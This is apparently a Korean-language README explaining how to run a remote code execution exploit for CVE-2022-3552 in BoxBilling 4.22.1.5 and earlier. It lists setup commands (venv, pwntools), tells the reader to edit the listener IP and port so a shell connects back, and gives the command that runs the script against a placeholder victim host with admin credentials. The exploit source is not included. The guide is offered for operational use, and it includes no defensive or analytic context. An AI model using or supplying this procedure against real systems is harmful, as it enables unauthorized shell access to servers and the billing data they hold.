
CVE-2022-3552 RCE 및 상세한 익스플로잇 절차
BoxBlilling의 취약점을 악용하기 위해서는 버전이 "BoxBilling<=4.22.1.5"여야 하며 유효한 관리자 자격 증명이 필요합니다.
위의 조건을 충족한다면, RCE를 얻기 위해 다음 단계를 따라야 합니다.
파이썬 가상 환경을 생성하세요 (Linux)
python3 -m venv .venv
source .venv/bin/activate
이제 pwntools 라이브러리를 설치하세요
pip3 install pwntools
종속성 누락에 대한 오류가 발생하면 일부 시스템 패키지를 설치해야 할 수도 있습니다:
sudo apt update
sudo apt install python3-pwntools
코드에는 수정이 필요한 몇 줄이 있습니다. 이 줄들은 쉘을 받기 위해 계획한 lhost IP와 포트를 결정합니다.
모든 과정을 올바르게 수행했다면, 이제 익스플로잇을 실행하고 쉘을 얻을 수 있습니다! (-d = 대상, -u = 유효한 관리자 이메일, -p = 유효한 관리자의 비밀번호)
python3 CVE-2022-3552.py -d http://victimtarget.com -u [email protected] -p enterpassword1HERE